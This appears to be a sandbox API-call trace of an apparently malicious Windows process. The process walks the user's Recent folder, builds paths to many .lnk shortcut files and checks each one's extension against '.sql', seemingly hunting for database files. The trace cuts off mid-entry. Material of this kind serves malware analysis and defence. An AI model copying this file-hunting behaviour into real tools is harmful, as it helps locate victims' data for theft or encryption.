[0054.793] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M53SLY.lnk") returned 73 [0054.793] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.793] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.793] lstrcmpW (lpString1="mj7J-R46l5.lnk", lpString2=".") returned 1 [0054.793] lstrcmpW (lpString1="mj7J-R46l5.lnk", lpString2="..") returned 1 [0054.793] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="mj7J-R46l5.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mj7J-R46l5.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mj7J-R46l5.lnk" [0054.793] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mj7J-R46l5.lnk") returned 77 [0054.793] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.793] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.793] lstrcmpW (lpString1="MMSANU.lnk", lpString2=".") returned 1 [0054.793] lstrcmpW (lpString1="MMSANU.lnk", lpString2="..") returned 1 [0054.793] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="MMSANU.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MMSANU.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MMSANU.lnk" [0054.793] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MMSANU.lnk") returned 73 [0054.793] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.793] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.793] lstrcmpW (lpString1="Music.lnk", lpString2=".") returned 1 [0054.793] lstrcmpW (lpString1="Music.lnk", lpString2="..") returned 1 [0054.793] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Music.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Music.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Music.lnk" [0054.793] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Music.lnk") returned 72 [0054.793] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.793] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.793] lstrcmpW (lpString1="mxHA9QwX60.lnk", lpString2=".") returned 1 [0054.793] lstrcmpW (lpString1="mxHA9QwX60.lnk", lpString2="..") returned 1 [0054.793] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="mxHA9QwX60.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxHA9QwX60.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxHA9QwX60.lnk" [0054.793] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxHA9QwX60.lnk") returned 77 [0054.793] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.793] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.793] lstrcmpW (lpString1="niXUM m_uKc.lnk", lpString2=".") returned 1 [0054.793] lstrcmpW (lpString1="niXUM m_uKc.lnk", lpString2="..") returned 1 [0054.793] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="niXUM m_uKc.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\niXUM m_uKc.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\niXUM m_uKc.lnk" [0054.793] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\niXUM m_uKc.lnk") returned 78 [0054.793] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.793] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.793] lstrcmpW (lpString1="OGnlmvN61P.lnk", lpString2=".") returned 1 [0054.793] lstrcmpW (lpString1="OGnlmvN61P.lnk", lpString2="..") returned 1 [0054.794] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="OGnlmvN61P.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OGnlmvN61P.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OGnlmvN61P.lnk" [0054.794] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OGnlmvN61P.lnk") returned 77 [0054.794] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.794] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.794] lstrcmpW (lpString1="OOwKqpIl7aYSv RTHK.lnk", lpString2=".") returned 1 [0054.794] lstrcmpW (lpString1="OOwKqpIl7aYSv RTHK.lnk", lpString2="..") returned 1 [0054.794] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="OOwKqpIl7aYSv RTHK.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OOwKqpIl7aYSv RTHK.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OOwKqpIl7aYSv RTHK.lnk" [0054.794] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OOwKqpIl7aYSv RTHK.lnk") returned 85 [0054.794] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.794] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.794] lstrcmpW (lpString1="ORNdnmfJCdFA1es0enx.flv.lnk", lpString2=".") returned 1 [0054.794] lstrcmpW (lpString1="ORNdnmfJCdFA1es0enx.flv.lnk", lpString2="..") returned 1 [0054.794] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ORNdnmfJCdFA1es0enx.flv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ORNdnmfJCdFA1es0enx.flv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ORNdnmfJCdFA1es0enx.flv.lnk" [0054.794] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ORNdnmfJCdFA1es0enx.flv.lnk") returned 90 [0054.794] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.794] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.794] lstrcmpW (lpString1="OukrMDnEpoe.lnk", lpString2=".") returned 1 [0054.794] lstrcmpW (lpString1="OukrMDnEpoe.lnk", lpString2="..") returned 1 [0054.794] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="OukrMDnEpoe.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OukrMDnEpoe.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OukrMDnEpoe.lnk" [0054.794] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OukrMDnEpoe.lnk") returned 78 [0054.794] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.794] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.794] lstrcmpW (lpString1="oWXZt UxeIOr.lnk", lpString2=".") returned 1 [0054.794] lstrcmpW (lpString1="oWXZt UxeIOr.lnk", lpString2="..") returned 1 [0054.794] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="oWXZt UxeIOr.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oWXZt UxeIOr.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oWXZt UxeIOr.lnk" [0054.794] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oWXZt UxeIOr.lnk") returned 79 [0054.794] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.794] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.794] lstrcmpW (lpString1="pCAr B4s-Dnk.lnk", lpString2=".") returned 1 [0054.794] lstrcmpW (lpString1="pCAr B4s-Dnk.lnk", lpString2="..") returned 1 [0054.794] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="pCAr B4s-Dnk.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pCAr B4s-Dnk.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pCAr B4s-Dnk.lnk" [0054.794] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pCAr B4s-Dnk.lnk") returned 79 [0054.794] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.794] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.794] lstrcmpW (lpString1="pG1qS.lnk", lpString2=".") returned 1 [0054.794] lstrcmpW (lpString1="pG1qS.lnk", lpString2="..") returned 1 [0054.794] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="pG1qS.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pG1qS.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pG1qS.lnk" [0054.794] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pG1qS.lnk") returned 72 [0054.794] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.794] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.794] lstrcmpW (lpString1="Pictures.lnk", lpString2=".") returned 1 [0054.794] lstrcmpW (lpString1="Pictures.lnk", lpString2="..") returned 1 [0054.794] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Pictures.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk" [0054.794] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk") returned 75 [0054.794] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.794] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.794] lstrcmpW (lpString1="PP7PZiVZnjg.lnk", lpString2=".") returned 1 [0054.794] lstrcmpW (lpString1="PP7PZiVZnjg.lnk", lpString2="..") returned 1 [0054.794] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="PP7PZiVZnjg.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PP7PZiVZnjg.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PP7PZiVZnjg.lnk" [0054.794] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PP7PZiVZnjg.lnk") returned 78 [0054.794] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.794] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.794] lstrcmpW (lpString1="ppRS2.lnk", lpString2=".") returned 1 [0054.794] lstrcmpW (lpString1="ppRS2.lnk", lpString2="..") returned 1 [0054.794] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ppRS2.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppRS2.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppRS2.lnk" [0054.794] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppRS2.lnk") returned 72 [0054.794] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.795] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.795] lstrcmpW (lpString1="ppTk R5o9qfrpMwcdZ.lnk", lpString2=".") returned 1 [0054.795] lstrcmpW (lpString1="ppTk R5o9qfrpMwcdZ.lnk", lpString2="..") returned 1 [0054.795] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ppTk R5o9qfrpMwcdZ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppTk R5o9qfrpMwcdZ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppTk R5o9qfrpMwcdZ.lnk" [0054.795] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppTk R5o9qfrpMwcdZ.lnk") returned 85 [0054.795] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.795] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.795] lstrcmpW (lpString1="py_6.lnk", lpString2=".") returned 1 [0054.795] lstrcmpW (lpString1="py_6.lnk", lpString2="..") returned 1 [0054.795] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="py_6.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\py_6.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\py_6.lnk" [0054.795] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\py_6.lnk") returned 71 [0054.795] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.795] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.795] lstrcmpW (lpString1="qVfwJx7xAD.lnk", lpString2=".") returned 1 [0054.795] lstrcmpW (lpString1="qVfwJx7xAD.lnk", lpString2="..") returned 1 [0054.795] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="qVfwJx7xAD.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qVfwJx7xAD.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qVfwJx7xAD.lnk" [0054.795] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qVfwJx7xAD.lnk") returned 77 [0054.795] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.795] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.795] lstrcmpW (lpString1="R8M4R8KAn1bTR.lnk", lpString2=".") returned 1 [0054.795] lstrcmpW (lpString1="R8M4R8KAn1bTR.lnk", lpString2="..") returned 1 [0054.795] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="R8M4R8KAn1bTR.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R8M4R8KAn1bTR.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R8M4R8KAn1bTR.lnk" [0054.795] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R8M4R8KAn1bTR.lnk") returned 80 [0054.795] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.795] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.795] lstrcmpW (lpString1="rHf-1nu.lnk", lpString2=".") returned 1 [0054.795] lstrcmpW (lpString1="rHf-1nu.lnk", lpString2="..") returned 1 [0054.795] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="rHf-1nu.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rHf-1nu.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rHf-1nu.lnk" [0054.795] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rHf-1nu.lnk") returned 74 [0054.795] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.795] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.795] lstrcmpW (lpString1="Roaming.lnk", lpString2=".") returned 1 [0054.795] lstrcmpW (lpString1="Roaming.lnk", lpString2="..") returned 1 [0054.795] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Roaming.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" [0054.795] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk") returned 74 [0054.795] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.795] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.795] lstrcmpW (lpString1="RorB-_IDA6hQ.lnk", lpString2=".") returned 1 [0054.795] lstrcmpW (lpString1="RorB-_IDA6hQ.lnk", lpString2="..") returned 1 [0054.795] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="RorB-_IDA6hQ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RorB-_IDA6hQ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RorB-_IDA6hQ.lnk" [0054.795] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RorB-_IDA6hQ.lnk") returned 79 [0054.795] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.795] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.795] lstrcmpW (lpString1="S-M7mZ Js.lnk", lpString2=".") returned 1 [0054.795] lstrcmpW (lpString1="S-M7mZ Js.lnk", lpString2="..") returned 1 [0054.795] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="S-M7mZ Js.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\S-M7mZ Js.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\S-M7mZ Js.lnk" [0054.795] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\S-M7mZ Js.lnk") returned 76 [0054.795] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.795] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.795] lstrcmpW (lpString1="sao0lzDqm lb1JO.lnk", lpString2=".") returned 1 [0054.795] lstrcmpW (lpString1="sao0lzDqm lb1JO.lnk", lpString2="..") returned 1 [0054.795] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="sao0lzDqm lb1JO.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sao0lzDqm lb1JO.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sao0lzDqm lb1JO.lnk" [0054.795] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sao0lzDqm lb1JO.lnk") returned 82 [0054.795] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.795] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.795] lstrcmpW (lpString1="sJuFZ-fNNCbjtR4EQ.lnk", lpString2=".") returned 1 [0054.795] lstrcmpW (lpString1="sJuFZ-fNNCbjtR4EQ.lnk", lpString2="..") returned 1 [0054.795] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="sJuFZ-fNNCbjtR4EQ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sJuFZ-fNNCbjtR4EQ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sJuFZ-fNNCbjtR4EQ.lnk" [0054.795] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sJuFZ-fNNCbjtR4EQ.lnk") returned 84 [0054.795] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.796] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.796] lstrcmpW (lpString1="Sl5l.lnk", lpString2=".") returned 1 [0054.796] lstrcmpW (lpString1="Sl5l.lnk", lpString2="..") returned 1 [0054.796] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Sl5l.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Sl5l.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Sl5l.lnk" [0054.796] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Sl5l.lnk") returned 71 [0054.796] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.796] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.796] lstrcmpW (lpString1="Slrus_KiV.lnk", lpString2=".") returned 1 [0054.796] lstrcmpW (lpString1="Slrus_KiV.lnk", lpString2="..") returned 1 [0054.796] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Slrus_KiV.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Slrus_KiV.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Slrus_KiV.lnk" [0054.796] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Slrus_KiV.lnk") returned 76 [0054.796] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.796] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.796] lstrcmpW (lpString1="Smjrlot.lnk", lpString2=".") returned 1 [0054.796] lstrcmpW (lpString1="Smjrlot.lnk", lpString2="..") returned 1 [0054.796] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="Smjrlot.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Smjrlot.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Smjrlot.lnk" [0054.796] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Smjrlot.lnk") returned 74 [0054.796] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0054.796] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.796] lstrcmpW (lpString1="sOg89QCB_MYsMq.lnk", lpString2=".") returned 1 [0054.796] lstrcmpW (lpString1="sOg89QCB_MYsMq.lnk", lpString2="..") returned 1 [0054.796] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="sOg89QCB_MYsMq.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sOg89QCB_MYsMq.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sOg89QCB_MYsMq.lnk" [0054.796] lstrlenW 